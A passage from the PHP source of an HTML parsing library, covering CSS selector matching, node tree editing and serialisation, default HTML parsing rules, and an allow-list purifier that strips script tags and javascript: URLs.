													if ($this->nodes[$id3]["type"] === "element")
													{
														$tag = $this->nodes[$id3]["tag"];
														$oftypecache[$id3]["ty"] = $types[$tag];
													}
												}
											}

											$tx = $oftypecache[$id2]["tx"];
											$ty = $oftypecache[$id2]["ty"];
										}

										switch ($rules[$x][$x2]["pseudo"])
										{
											case "first-child":  $backtrack = ($cx !== 0);  break;
											case "last-child":  $backtrack = ($cx !== $cy - 1);  break;
											case "only-child":  $backtrack = ($cy !== 1);  break;
											case "nth-child":  $px = $cx;  break;
											case "nth-last-child":  $px = $cy - $cx - 1;  break;
											case "first-child-all":  $backtrack = ($this->nodes[$id2]["parentpos"] !== 0);  break;
											case "last-child-all":  $backtrack = ($this->nodes[$id2]["parentpos"] !== $pnum - 1);  break;
											case "only-child-all":  $backtrack = ($pnum !== 1);  break;
											case "nth-child-all":  $px = $this->nodes[$id2]["parentpos"];  break;
											case "nth-last-child-all":  $px = $pnum - $this->nodes[$id2]["parentpos"] - 1;  break;
											case "first-of-type":  $backtrack = ($tx !== 0);  break;
											case "last-of-type":  $backtrack = ($tx !== $ty - 1);  break;
											case "only-of-type":  $backtrack = ($ty !== 1);  break;
											case "nth-of-type":  $px = $tx;  break;
											case "nth-last-of-type":  $px = $ty - $tx - 1;  break;
											case "empty":
											{
												$backtrack = false;
												foreach ($this->nodes[$id2]["children"] as $id3)
												{
													if ($this->nodes[$id3]["type"] === "element" || ($this->nodes[$id3]["type"] === "content" && trim($this->nodes[$id3]["text"]) !== ""))
													{
														$backtrack = true;

														break;
													}
												}

												break;
											}
											default:  return array("success" => false, "error" => "Unknown/Unsupported pseudo-class ':" . $rules[$x][$x2]["pseudo"] . "'.", "errorcode" => "unknown_unsupported_pseudo_class");
										}

										if ($nth)
										{
											// Calculated expression:  a * n + b - 1 = x
											// Solved for n:  n = (x + 1 - b) / a
											// Where 'n' is a non-negative integer.  When 'a' is 0, solve for 'b' instead.
											$pa = $rules[$x][$x2]["a"];
											$pb = $rules[$x][$x2]["b"];

											if ($pa == 0)  $backtrack = ($pb != $px + 1);
											else
											{
												$pn = (($px + 1 - $pb) / $pa);

												$backtrack = ($pn < 0 || $pn - (int)$pn > 0.000001);
											}
										}

										break;
									}
									case "pseudo-element":  return array("success" => false, "error" => "Pseudo-elements are not supported.  Found '::" . $rules[$x][$x2]["pseudo"] . "'.", "errorcode" => "unsupported_selector_type");
									case "combine":
									{
										switch ($rules[$x][$x2]["combine"])
										{
											case "prev-parent":
											case "any-parent":
											{
												$backtrack = ($id2 === $rootid || !$this->nodes[$id2]["parent"]);
												if (!$backtrack)  $id2 = $this->nodes[$id2]["parent"];

												break;
											}
											case "prev-sibling":
											case "any-prev-sibling":
											{
												$backtrack = ($this->nodes[$id2]["parentpos"] == 0);
												if (!$backtrack)  $id2 = $this->nodes[$this->nodes[$id2]["parent"]]["children"][$this->nodes[$id2]["parentpos"] - 1];

												break;
											}
											default:  return array("success" => false, "error" => "Unknown combiner " . $rules[$x][$x2]["pseudo"] . ".", "errorcode" => "unknown_combiner");
										}

										// For unknown parent/sibling combiners such as '~', use the rule stack to allow for backtracking to try another path if a match fails (e.g. h1 p ~ p).
										$rules[$x][$x2]["lastid"] = $id2;

										break;
									}
									default:  return array("success" => false, "error" => "Unknown selector type '" . $rules[$x][$x2]["type"] . "'.", "errorcode" => "unknown_selector_type");
								}
							}

							if (isset($rules[$x][$x2]["not"]) && $rules[$x][$x2]["not"])  $backtrack = !$backtrack;

							// Backtrack through the rule to an unknown parent/sibling combiner.
							if ($backtrack)
							{
								if ($x2)
								{
									for ($x2--; $x2; $x2--)
									{
										if ($rules[$x][$x2]["type"] === "combine")
										{
											if ($rules[$x][$x2]["combine"] === "any-parent")
											{
												$id2 = $rules[$x][$x2]["lastid"];
												if ($id2 !== $rootid && $this->nodes[$id2]["parent"])
												{
													$id2 = $this->nodes[$id2]["parent"];
													$rules[$x][$x2]["lastid"] = $id2;

													break;
												}
											}
											else if ($rules[$x][$x2]["combine"] === "any-prev-sibling")
											{
												$id2 = $rules[$x][$x2]["lastid"];
												if ($this->nodes[$id2]["parentpos"] != 0)
												{
													$id2 = $this->nodes[$this->nodes[$id2]["parent"]]["children"][$this->nodes[$id2]["parentpos"] - 1];
													$rules[$x][$x2]["lastid"] = $id2;

													break;
												}
											}
										}
									}
								}

								if (!$x2)  break;
							}
						}

						// Match found.
						if ($x2 === $y)
						{
							$result[] = $id;

							if ($firstmatch)  return array("success" => true, "ids" => $result);

							break;
						}
					}
				}

				if ($pos >= $maxpos)
				{
					if ($rootid === $id)  break;

					$pos = $this->nodes[$id]["parentpos"] + 1;
					$id = $this->nodes[$id]["parent"];
					$maxpos = count($this->nodes[$id]["children"]);
				}
				else
				{
					$id = $this->nodes[$id]["children"][$pos];
					$pos = 0;
					$maxpos = (isset($this->nodes[$id]["children"]) && is_array($this->nodes[$id]["children"]) ? count($this->nodes[$id]["children"]) : 0);
				}
			} while (1);

			return array("success" => true, "ids" => $result);
		}

		// Filter results from Find() based on a matching query.
		public function Filter($ids, $query, $cachequery = true)
		{
			if (!is_array($ids))  $ids = array($ids);

			// Handle lazy chaining from both Find() and Filter().
			if (isset($ids["success"]))
			{
				if (!$ids["success"])  return $ids;
				if (!isset($ids["ids"]))  return array("success" => false, "error" => "Bad filter input.", "invalid_filter_ids");

				$ids = $ids["ids"];
			}

			$ids2 = array();
			if (is_string($query) && strtolower(substr($query, 0, 10)) === "/contains:")
			{
				$query = substr($query, 10);
				foreach ($ids as $id)
				{
					if (strpos($this->GetPlainText($id), $query) !== false)  $ids2[] = $id;
				}
			}
			else if (is_string($query) && strtolower(substr($query, 0, 11)) === "/~contains:")
			{
				$query = substr($query, 11);
				foreach ($ids as $id)
				{
					if (stripos($this->GetPlainText($id), $query) !== false)  $ids2[] = $id;
				}
			}
			else
			{
				foreach ($ids as $id)
				{
					$result = $this->Find($query, $id, $cachequery, true);
					if ($result["success"] && count($result["ids"]))  $ids2[] = $id;
				}
			}

			return array("success" => true, "ids" => $ids2);
		}

		// Convert all or some of the nodes back into a string.
		public function Implode($id, $options = array())
		{
			$id = (int)$id;
			if (!isset($this->nodes[$id]))  return "";

			if (!isset($options["include_id"]))  $options["include_id"] = true;
			if (!isset($options["types"]))  $options["types"] = "element,content,comment";
			if (!isset($options["output_mode"]))  $options["output_mode"] = "html";
			if (!isset($options["post_elements"]))  $options["post_elements"] = array();
			if (!isset($options["no_content_elements"]))  $options["no_content_elements"] = array("script" => true, "style" => true);
			if (!isset($options["charset"]))  $options["charset"] = "UTF-8";
			$options["charset"] = strtoupper($options["charset"]);

			$types2 = explode(",", $options["types"]);
			$types = array();
			foreach ($types2 as $type)
			{
				$type = trim($type);
				if ($type !== "")  $types[$type] = true;
			}

			$result = "";
			$include = (bool)$options["include_id"];
			$rootid = $id;
			$pos = 0;
			$maxpos = (isset($this->nodes[$id]["children"]) && is_array($this->nodes[$id]["children"]) ? count($this->nodes[$id]["children"]) : 0);
			do
			{
				if (!$pos && isset($types[$this->nodes[$id]["type"]]))
				{
					switch ($this->nodes[$id]["type"])
					{
						case "element":
						{
							if ($include || $rootid != $id)
							{
								$result .= "<" . $this->nodes[$id]["tag"];
								foreach ($this->nodes[$id]["attrs"] as $key => $val)
								{
									$result .= " " . $key;

									if (is_array($val))  $val = implode(" ", $val);
									if (is_string($val))  $result .= "=\"" . htmlspecialchars($val, ENT_COMPAT | ENT_HTML5, $options["charset"]) . "\"";
								}
								$result .= (!$maxpos && $options["output_mode"] === "xml" ? " />" : ">");
							}

							break;
						}
						case "content":
						case "comment":
						{
							if (isset($types["element"]) || !isset($this->nodes[$this->nodes[$id]["parent"]]["tag"]) || !isset($options["no_content_elements"][$this->nodes[$this->nodes[$id]["parent"]]["tag"]]))  $result .= $this->nodes[$id]["text"];

							break;
						}
						default:  break;
					}
				}

				if ($pos >= $maxpos)
				{
					if ($this->nodes[$id]["type"] === "element" && is_array($this->nodes[$id]["children"]))
					{
						if (($include || $rootid != $id) && isset($types[$this->nodes[$id]["type"]]))  $result .= "</" . $this->nodes[$id]["tag"] . ">";
					}

					if ($this->nodes[$id]["type"] === "element" && isset($options["post_elements"][$this->nodes[$id]["tag"]]))  $result .= $options["post_elements"][$this->nodes[$id]["tag"]];

					if ($rootid === $id)  break;

					$pos = $this->nodes[$id]["parentpos"] + 1;
					$id = $this->nodes[$id]["parent"];
					$maxpos = count($this->nodes[$id]["children"]);
				}
				else
				{
					$id = $this->nodes[$id]["children"][$pos];
					$pos = 0;
					$maxpos = (isset($this->nodes[$id]["children"]) && is_array($this->nodes[$id]["children"]) ? count($this->nodes[$id]["children"]) : 0);
				}
			} while (1);

			return $result;
		}

		// Object-oriented access methods.  Only Get() supports multiple IDs.
		public function Get($id = 0)
		{
			if (is_array($id))
			{
				if (isset($id["success"]) && $id["ids"])  $id = $id["ids"];

				$result = array();
				foreach ($id as $id2)  $result[] = $this->Get($id2);

				return $result;
			}

			return ($id !== false && isset($this->nodes[$id]) ? new TagFilterNode($this, $id) : false);
		}

		public function GetParent($id)
		{
			return ($id !== false && isset($this->nodes[$id]) && isset($this->nodes[$this->nodes[$id]["parent"]]) ? new TagFilterNode($this, $this->nodes[$id]["parent"]) : false);
		}

		public function GetChildren($id, $objects = false)
		{
			if (!isset($this->nodes[$id]) || !isset($this->nodes[$id]["children"]) || !is_array($this->nodes[$id]["children"]))  return false;

			return ($objects ? $this->Get($this->nodes[$id]["children"]) : $this->nodes[$id]["children"]);
		}

		public function GetChild($id, $pos)
		{
			if (!isset($this->nodes[$id]) || !isset($this->nodes[$id]["children"]) || !is_array($this->nodes[$id]["children"]))  return false;

			$pos = (int)$pos;
			$y = count($this->nodes[$id]["children"]);
			if ($pos < 0)  $pos = $y + $pos;
			if ($pos < 0 || $pos > $y - 1)  return false;

			return $this->Get($this->nodes[$id]["children"][$pos]);
		}

		public function GetPrevSibling($id)
		{
			if (!isset($this->nodes[$id]) || $this->nodes[$id]["parentpos"] == 0)  return false;

			return $this->Get($this->nodes[$this->nodes[$id]["parent"]]["children"][$this->nodes[$id]["parentpos"] - 1]);
		}

		public function GetNextSibling($id)
		{
			if ($id === false || !isset($this->nodes[$id]) || $this->nodes[$id]["parentpos"] >= count($this->nodes[$this->nodes[$id]["parent"]]["children"]) - 1)  return false;

			return $this->Get($this->nodes[$this->nodes[$id]["parent"]]["children"][$this->nodes[$id]["parentpos"] + 1]);
		}

		public function GetTag($id)
		{
			return (isset($this->nodes[$id]) && $this->nodes[$id]["type"] === "element" ? $this->nodes[$id]["tag"] : false);
		}

		public function SetText($id, $val)
		{
			if (isset($this->nodes[$id]) && ($this->nodes[$id]["type"] === "content" || $this->nodes[$id]["type"] === "comment"))  $this->nodes[$id]["text"] = (string)$val;
		}

		public function GetText($id)
		{
			return (isset($this->nodes[$id]) && ($this->nodes[$id]["type"] === "content" || $this->nodes[$id]["type"] === "comment") ? $this->nodes[$id]["text"] : false);
		}

		public function Move($src, $newpid, $newpos)
		{
			$newpid = (int)$newpid;
			if (!isset($this->nodes[$newpid]) || !isset($this->nodes[$newpid]["children"]) || !is_array($this->nodes[$newpid]["children"]))  return false;

			$newpos = (is_bool($newpos) ? count($this->nodes[$newpid]["children"]) : (int)$newpos);
			if ($newpos < 0)  $newpos = count($this->nodes[$newpid]["children"]) + $newpos;
			if ($newpos < 0)  $newpos = 0;
			if ($newpos > count($this->nodes[$newpid]["children"]))  $newpos = count($this->nodes[$newpid]["children"]);

			if ($src instanceof TagFilterNodes)
			{
				if ($src === $this)  return false;

				// Bulk node import.  Doesn't remove source nodes.
				foreach ($src->nodes as $id => $node)
				{
					if ($node["type"] === "element" || $node["type"] === "content" || $node["type"] === "comment")
					{
						$node["parent"] += $this->nextid - 1;

						if (isset($node["children"]) && is_array($node["children"]))
						{
							foreach ($node["children"] as $pos => $id2)  $node["children"][$pos] += $this->nextid - 1;
						}

						$this->nodes[$id + $this->nextid - 1] = $node;
					}
				}

				// Merge root children.
				foreach ($src->nodes[0]["children"] as $pos => $id)
				{
					$this->nodes[$id + $this->nextid - 1]["parent"] = $newpid;
					array_splice($this->nodes[$newpid]["children"], $newpos + $pos, 0, array($id + $this->nextid - 1));
				}

				$this->RealignChildren($newpid, $newpos);

				$this->nextid += $src->nextid - 1;
			}
			else if (is_array($src))
			{
				// Attach the array to the position if it is valid.
				if (!isset($src["type"]))  return false;

				switch ($src["type"])
				{
					case "element":
					{
						if (!isset($src["tag"]) || !isset($src["attrs"]) || !is_array($src["attrs"]) || !isset($src["children"]))  return false;

						$src["tag"] = (string)$src["tag"];
						$src["parent"] = $newpid;

						break;
					}
					case "content":
					case "comment":
					{
						if (!isset($src["text"]) || isset($src["children"]))  return false;

						$src["text"] = (string)$src["text"];

						break;
					}
					default:  return false;
				}

				array_splice($this->nodes[$newpid]["children"], $newpos, 0, array($this->nextid));
				$this->RealignChildren($newpid, $newpos);
				$this->nextid++;
			}
			else if (is_string($src))
			{
				return $this->Move(TagFilter::Explode($src, TagFilter::GetHTMLOptions()), $newpid, $newpos);
			}
			else
			{
				// Reparents an internal id.
				$id = (int)$src;

				if (!$id || !isset($this->nodes[$id]))  return false;

				// Don't allow reparenting to a child node.
				$id2 = $newpid;
				while ($id2)
				{
					if ($id === $id2)  return false;

					$id2 = $this->nodes[$id2]["parent"];
				}

				// Detach.
				array_splice($this->nodes[$this->nodes[$id]["parent"]]["children"], $this->nodes[$id]["parentpos"], 1);
				$this->RealignChildren($this->nodes[$id]["parent"], $this->nodes[$id]["parentpos"]);

				// Attach.
				array_splice($this->nodes[$newpid]["children"], $newpos, 0, array($id));
				$this->RealignChildren($newpid, $newpos);
			}

			return true;
		}

		// When $keepchildren is true, the node's children are moved into the parent of the node being removed.
		public function Remove($id, $keepchildren = false)
		{
			$id = (int)$id;
			if (!isset($this->nodes[$id]))  return;

			if (!$id)
			{
				if (!$keepchildren)
				{
					// Reset all nodes.
					$this->nodes = array(
						array(
							"type" => "root",
							"parent" => false,
							"parentpos" => false,
							"children" => array()
						)
					);

					$this->nextid = 1;
				}
			}
			else
			{
				// Detach the node from the parent.
				$pid = $this->nodes[$id]["parent"];
				$pos = $this->nodes[$id]["parentpos"];

				if ($keepchildren)
				{
					// Reparent the children and attach them to the new parent.
					if (isset($this->nodes[$id]["children"]) && is_array($this->nodes[$id]["children"]))
					{
						foreach ($this->nodes[$id]["children"] as $cid)  $this->nodes[$cid]["parent"] = $pid;
						array_splice($this->nodes[$pid]["children"], $pos, 1, $this->nodes[$id]["children"]);
					}
					else
					{
						array_splice($this->nodes[$pid]["children"], $pos, 1);
					}

					$this->RealignChildren($pid, $pos);

					unset($this->nodes[$id]);
				}
				else
				{
					array_splice($this->nodes[$pid]["children"], $pos, 1);

					$this->RealignChildren($pid, $pos);

					// Remove node and all children.
					$rootid = $id;
					$pos = (isset($this->nodes[$id]["children"]) && is_array($this->nodes[$id]["children"]) ? count($this->nodes[$id]["children"]) : 0);
					do
					{
						if (!$pos)
						{
							$pid = $this->nodes[$id]["parent"];
							$pos = $this->nodes[$id]["parentpos"];

							unset($this->nodes[$id]);
							if ($rootid === $id)  break;

							$id = $pid;
						}
						else
						{
							$id = $this->nodes[$id]["children"][$pos - 1];
							$pos = (isset($this->nodes[$id]["children"]) && is_array($this->nodes[$id]["children"]) ? count($this->nodes[$id]["children"]) : 0);
						}
					} while (1);
				}
			}
		}

		public function Replace($id, $src, $inneronly = false)
		{
			$id = (int)$id;
			if (!isset($this->nodes[$id]))  return false;

			if ($inneronly)
			{
				// Remove children.
				if (!isset($this->nodes[$id]["children"]) || !is_array($this->nodes[$id]["children"]))  return false;

				while (count($this->nodes[$id]["children"]))  $this->Remove($this->nodes[$id]["children"][0]);

				$newpid = $id;
				$newpos = 0;
			}
			else
			{
				$newpid = $this->nodes[$id]["parent"];
				$newpos = $this->nodes[$id]["parentpos"];

				$this->Remove($id);
			}

			return $this->Move($src, $newpid, $newpos);
		}

		private static function SplitAt_CopyNode($nodes, &$pid, $node)
		{
			// Copy the node.
			$node["parent"] = $pid;
			$node["parentpos"] = count($nodes->nodes[$pid]["children"]);
			if (isset($node["children"]))  $node["children"] = (is_array($node["children"]) ? array() : false);

			// Attach the node.
			$nodes->nodes[$nodes->nextid] = $node;
			$nodes->nodes[$pid]["children"][] = $nodes->nextid;

			$pid = $nodes->nextid;

			$nodes->nextid++;
		}

		public function SplitAt($ids, $keepidparents = false)
		{
			$ids2 = array();
			if (!is_array($ids))  $ids = array($ids);
			foreach ($ids as $id)  $ids2[(int)$id] = true;
			unset($ids2[0]);

			$result = array();

			// Walk the entire set of nodes, cloning until an ID match occurs (if any).
			$newnodes = new TagFilterNodes();
			$newpid = 0;
			$id = 0;
			$pos = 0;
			$maxpos = (isset($this->nodes[$id]["children"]) && is_array($this->nodes[$id]["children"]) ? count($this->nodes[$id]["children"]) : 0);
			do
			{
				if (!$pos)
				{
					if (isset($ids2[$id]) && count($newnodes->nodes[0]["children"]))
					{
						// Found an ID match.
						$result[] = $newnodes;
						$newnodes = new TagFilterNodes();
						$newpid = 0;

						if ($keepidparents instanceof TagFilterNodes)
						{
							$newnodes = clone $keepidparents;
							$newpid = $newnodes->nextid - 1;
						}
						else if ($keepidparents)
						{
							$stack = array();
							$id2 = $this->nodes[$id]["parent"];
							while ($id2)
							{
								$stack[] = $id2;

								$id2 = $this->nodes[$id2]["parent"];
							}
							$stack = array_reverse($stack);
							foreach ($stack as $id2)
							{
								self::SplitAt_CopyNode($newnodes, $newpid, $this->nodes[$id2]);
							}
						}
					}

					if ($id)  self::SplitAt_CopyNode($newnodes, $newpid, $this->nodes[$id]);
				}

				if ($pos >= $maxpos)
				{
					if (!$id)  break;

					if (isset($ids2[$id]))
					{
						// Start a new set of nodes.
						$result[] = $newnodes;
						$newnodes = new TagFilterNodes();
						$newpid = 0;

						$stack = array();
						$id2 = $this->nodes[$id]["parent"];
						while ($id2)
						{
							$stack[] = $id2;

							$id2 = $this->nodes[$id2]["parent"];
						}
						$stack = array_reverse($stack);
						foreach ($stack as $id2)
						{
							self::SplitAt_CopyNode($newnodes, $newpid, $this->nodes[$id2]);
						}
					}
					else
					{
						$newpid = $newnodes->nodes[$newpid]["parent"];
					}

					$pos = $this->nodes[$id]["parentpos"] + 1;
					$id = $this->nodes[$id]["parent"];
					$maxpos = count($this->nodes[$id]["children"]);
				}
				else
				{
					$id = $this->nodes[$id]["children"][$pos];
					$pos = 0;
					$maxpos = (isset($this->nodes[$id]["children"]) && is_array($this->nodes[$id]["children"]) ? count($this->nodes[$id]["children"]) : 0);
				}
			} while (1);

			if (!count($result) || count($newnodes->nodes[0]["children"]))  $result[] = $newnodes;

			return $result;
		}

		public function GetOuterHTML($id, $mode = "html")
		{
			return $this->Implode($id, array("output_mode" => $mode));
		}

		public function SetOuterHTML($id, $src)
		{
			return $this->Replace($id, $src);
		}

		public function GetInnerHTML($id, $mode = "html")
		{
			return $this->Implode($id, array("include_id" => false, "output_mode" => $mode));
		}

		public function SetInnerHTML($id, $src)
		{
			return $this->Replace($id, $src, true);
		}

		public function GetPlainText($id)
		{
			return $this->Implode($id, array("types" => "content", "post_elements" => array("p" => "\n\n", "br" => "\n")));
		}

		public function SetPlainText($id, $src)
		{
			// Convert $src to a string.
			if ($src instanceof TagFilterNodes)
			{
				$src = $src->GetPlainText(0);
			}
			else if (is_array($src))
			{
				$temp = new TagFilterNodes();
				$temp->Move($src, 0, 0);

				$src = $temp->GetPlainText(0);
			}
			else if (!is_string($src))
			{
				$src = $this->GetPlainText((int)$src);
			}

			$src = array(
				"type" => "content",
				"text" => (string)$src,
				"parent" => false,
				"parentpos" => false
			);

			return $this->Replace($id, $src, true);
		}

		private function RealignChildren($id, $pos)
		{
			$y = count($this->nodes[$id]["children"]);
			for ($x = $pos; $x < $y; $x++)  $this->nodes[$this->nodes[$id]["children"][$x]]["parentpos"] = $x;
		}
	}

	class TagFilter
	{
		// Internal callback function for extracting interior content of HTML 'script' and 'style' tags.
		public static function HTMLSpecialTagContentCallback($stack, $final, &$tag, &$content, &$cx, $cy, &$content2, $options)
		{
			if (preg_match('/<\s*\/\s*' . $stack[0]["tag_name"] . '(\s*|\s+.+?)>/is', $content, $matches, PREG_OFFSET_CAPTURE, $cx))
			{
				$pos = $matches[0][1];

				$content2 = substr($content, $cx, $pos - $cx);
				$cx = $pos;
				$tag = true;

				return true;
			}
			else
			{
				if ($final)
				{
					$content2 = substr($content, $cx);
					$cx = $cy;
				}

				return false;
			}
		}

		public static function GetHTMLOptions()
		{
			$result = array(
				"tag_name_map" => array(
					"!doctype" => "DOCTYPE"
				),
				"untouched_tag_attr_keys" => array(
					"doctype" => true,
				),
				"void_tags" => array(
					"DOCTYPE" => true,
					"area" => true,
					"base" => true,
					"bgsound" => true,
					"br" => true,
					"col" => true,
					"embed" => true,
					"hr" => true,
					"img" => true,
					"input" => true,
					"keygen" => true,
					"link" => true,
					"menuitem" => true,
					"meta" => true,
					"param" => true,
					"source" => true,
					"track" => true,
					"wbr" => true
				),
				// Alternate tag internal content rules for specialized tags.
				"alt_tag_content_rules" => array(
					"script" => __CLASS__ . "::HTMLSpecialTagContentCallback",
					"style" => __CLASS__ . "::HTMLSpecialTagContentCallback"
				),
				// Stored as a map for open tag elements.
				// For example, '"address" => array("p" => true)' means:  When an open 'address' tag is encountered,
				// look for an open 'p' tag anywhere (no '_limit') in the tag stack.  Apply a closing '</p>' tag for all matches.
				//
				// If '_limit' is defined as a string or an array, then stack walking stops as soon as one of the specified tags is encountered.
				"pre_close_tags" => array(
					"body" => array("body" => true, "head" => true),

					"address" => array("p" => true),
					"article" => array("p" => true),
					"aside" => array("p" => true),
					"blockquote" => array("p" => true),
					"div" => array("p" => true),
					"dl" => array("p" => true),
					"fieldset" => array("p" => true),
					"footer" => array("p" => true),
					"form" => array("p" => true),
					"h1" => array("p" => true),
					"h2" => array("p" => true),
					"h3" => array("p" => true),
					"h4" => array("p" => true),
					"h5" => array("p" => true),
					"h6" => array("p" => true),
					"header" => array("p" => true),
					"hr" => array("p" => true),
					"menu" => array("p" => true),
					"nav" => array("p" => true),
					"ol" => array("p" => true),
					"pre" => array("p" => true),
					"section" => array("p" => true),
					"table" => array("p" => true),
					"ul" => array("p" => true),
					"p" => array("p" => true),

					"tbody" => array("_limit" => "table", "thead" => true, "tr" => true, "th" => true, "td" => true),
					"tr" => array("_limit" => "table", "tr" => true, "th" => true, "td" => true),
					"th" => array("_limit" => "table", "th" => true, "td" => true),
					"td" => array("_limit" => "table", "th" => true, "td" => true),
					"tfoot" => array("_limit" => "table", "thead" => true, "tbody" => true, "tr" => true, "th" => true, "td" => true),

					"optgroup" => array("optgroup" => true, "option" => true),
					"option" => array("option" => true),

					"dd" => array("_limit" => "dl", "dd" => true, "dt" => true),
					"dt" => array("_limit" => "dl", "dd" => true, "dt" => true),

					"colgroup" => array("colgroup" => true),

					"li" => array("_limit" => array("ul" => true, "ol" => true, "menu" => true, "dir" => true), "li" => true),
				),
				"process_attrs" => array(
					"class" => "classes",
					"href" => "uri",
					"src" => "uri",
					"dynsrc" => "uri",
					"lowsrc" => "uri",
					"background" => "uri",
				),
				"keep_attr_newlines" => false,
				"keep_comments" => false,
				"allow_namespaces" => true,
				"charset" => "UTF-8",
				"charset_tags" => true,
				"charset_attrs" => true,
				"output_mode" => "html",
				"lowercase_tags" => true,
				"lowercase_attrs" => true,
			);

			return $result;
		}

		public static function Run($content, $options = array())
		{
			$tfs = new TagFilterStream($options);
			$tfs->Finalize();
			$result = $tfs->Process($content);

			// Clean up output.
			$result = trim($result);
			$result = self::CleanupResults($result);

			if (function_exists("gc_mem_caches"))  gc_mem_caches();

			return $result;
		}

		public static function CleanupResults($content)
		{
			$result = str_replace("\r\n", "\n", $content);
			$result = str_replace("\r", "\n", $result);
			while (strpos($result, "\n\n\n") !== false)  $result = str_replace("\n\n\n", "\n\n", $result);

			return $result;
		}

		public static function ExplodeTagCallback($stack, &$content, $open, $tagname, &$attrs, $options)
		{
			if ($open)
			{
				$pid = (count($options["data"]->stackmap) ? $options["data"]->stackmap[0] : 0);

				$tagname2 = (isset($options["tag_name_map"][strtolower($tagname)]) ? $options["tag_name_map"][strtolower($tagname)] : $tagname);

				$options["nodes"]->nodes[$options["nodes"]->nextid] = array(
					"type" => "element",
					"tag" => $tagname,
					"attrs" => $attrs,
					"parent" => $pid,
					"parentpos" => count($options["nodes"]->nodes[$pid]["children"]),
					"children" => (isset($options["void_tags"][$tagname2]) ? false : array())
				);

				$options["nodes"]->nodes[$pid]["children"][] = $options["nodes"]->nextid;

				// Append non-void tags to the ID stack.
				if (!isset($options["void_tags"][$tagname2]))  array_unshift($options["data"]->stackmap, $options["nodes"]->nextid);

				$options["nodes"]->nextid++;
			}
			else
			{
				array_shift($options["data"]->stackmap);
			}

			return array("keep_tag" => false, "keep_interior" => false);
		}

		public static function ExplodeContentCallback($stack, $result, &$content, $options)
		{
			if ($content === "")  return;

			$type = (substr($content, 0, 5) === "<!-- " ? "comment" : "content");
			$pid = (count($options["data"]->stackmap) ? $options["data"]->stackmap[0] : 0);
			$parentpos = count($options["nodes"]->nodes[$pid]["children"]);

			if ($parentpos && $options["nodes"]->nodes[$options["nodes"]->nodes[$pid]["children"][$parentpos - 1]]["type"] == $type)  $options["nodes"]->nodes[$options["nodes"]->nodes[$pid]["children"][$parentpos - 1]]["text"] .= $content;
			else
			{
				$options["nodes"]->nodes[$options["nodes"]->nextid] = array(
					"type" => $type,
					"text" => $content,
					"parent" => $pid,
					"parentpos" => $parentpos
				);

				$options["nodes"]->nodes[$pid]["children"][] = $options["nodes"]->nextid;

				$options["nodes"]->nextid++;
			}

			$content = "";
		}

		public static function Explode($content, $options = array())
		{
			$options["tag_callback"] = __CLASS__ . "::ExplodeTagCallback";
			$options["content_callback"] = __CLASS__ . "::ExplodeContentCallback";
			$options["nodes"] = new TagFilterNodes();
			$options["data"] = new stdClass();
			$options["data"]->stackmap = array();

			self::Run($content, $options);

			return $options["nodes"];
		}

		public static function HTMLPurifyTagCallback($stack, &$content, $open, $tagname, &$attrs, $options)
		{
			if ($open)
			{
				if ($tagname === "script")  return array("keep_tag" => false, "keep_interior" => false);
				if ($tagname === "style")  return array("keep_tag" => false, "keep_interior" => false);

				if (isset($attrs["src"]) && substr($attrs["src"], 0, 11) === "javascript:")  return array("keep_tag" => false, "keep_interior" => false);
				if (isset($attrs["href"]) && substr($attrs["href"], 0, 11) === "javascript:")  return array("keep_tag" => false);

				if (!isset($options["htmlpurify"]["allowed_tags"][$tagname]))  return array("keep_tag" => false);

				if (!isset($options["htmlpurify"]["allowed_attrs"][$tagname]))  $attrs = array();
				else
				{
					// For classes, "class" needs to be specified as an allowed attribute.
					foreach ($attrs as $attr => $val)
					{
						if (!isset($options["htmlpurify"]["allowed_attrs"][$tagname][$attr]))  unset($attrs[$attr]);
					}
				}

				if (isset($options["htmlpurify"]["required_attrs"][$tagname]))
				{
					foreach ($options["htmlpurify"]["required_attrs"][$tagname] as $attr => $val)
					{
						if (!isset($attrs[$attr]))  return array("keep_tag" => false);
					}
				}

				if (isset($attrs["class"]))
				{
					if (!isset($options["htmlpurify"]["allowed_classes"][$tagname]))  unset($attrs["class"]);
					else
					{
						foreach ($attrs["class"] as $class)
						{
							if (!isset($options["htmlpurify"]["allowed_classes"][$tagname][$class]))  unset($attrs["class"][$class]);
						}

						if (!count($attrs["class"]))  unset($attrs["class"]);
					}
				}
			}
			else
			{
				if (isset($options["htmlpurify"]["remove_empty"][substr($tagname, 1)]) && trim(str_replace(array("&nbsp;", "\xC2\xA0"), " ", $content)) === "")
				{
					if ($content !== "")  $content = " ";

					return array("keep_tag" => false);
				}
			}

			return array();
		}

		private static function Internal_NormalizeHTMLPurifyOptions($value)
		{
			if (is_string($value))
			{
				$opts = explode(",", $value);
				$value = array();
				foreach ($opts as $opt)
				{
					$opt = (string)trim($opt);
					if ($opt !== "")  $value[$opt] = true;
				}
			}

			return $value;
		}

		public static function NormalizeHTMLPurifyOptions($purifyopts)
		{
			if (!isset($purifyopts["allowed_tags"]))  $purifyopts["allowed_tags"] = array();
			if (!isset($purifyopts["allowed_attrs"]))  $purifyopts["allowed_attrs"] = array();
			if (!isset($purifyopts["required_attrs"]))  $purifyopts["required_attrs"] = array();
			if (!isset($purifyopts["allowed_classes"]))  $purifyopts["allowed_classes"] = array();
			if (!isset($purifyopts["remove_empty"]))  $purifyopts["remove_empty"] = array();

			$purifyopts["allowed_tags"] = self::Internal_NormalizeHTMLPurifyOptions($purifyopts["allowed_tags"]);
			foreach ($purifyopts["allowed_attrs"] as $key => $val)  $purifyopts["allowed_attrs"][$key] = self::Internal_NormalizeHTMLPurifyOptions($val);
			foreach ($purifyopts["required_attrs"] as $key => $val)  $purifyopts["required_attrs"][$key] = self::Internal_NormalizeHTMLPurifyOptions($val);
			foreach ($purifyopts["allowed_classes"] as $key => $val)  $purifyopts["allowed_classes"][$key] = self::Internal_NormalizeHTMLPurifyOptions($val);
			$purifyopts["remove_empty"] = self::Internal_NormalizeHTMLPurifyOptions($purifyopts["remove_empty"]);

			return $purifyopts;
		}

		public static function HTMLPurify($content, $htmloptions, $purifyopts)
		{
			$htmloptions["tag_callback"] = __CLASS__ . "::HTMLPurifyTagCallback";
			$htmloptions["htmlpurify"] = self::NormalizeHTMLPurifyOptions($purifyopts);

			return self::Run($content, $htmloptions);
		}

		public static function ReorderSelectorTokens($tokens, $splitrules, $order = array("pseudo-element" => array(), "pseudo-class" => array(), "attr" => array(), "class" => array(), "element" => array(), "id" => array()), $endnots = true)
		{
			// Collapse split rules.
			if (count($tokens) && !isset($tokens[0]["type"]) && isset($tokens[0][0]["type"]))
			{
				$tokens2 = array();
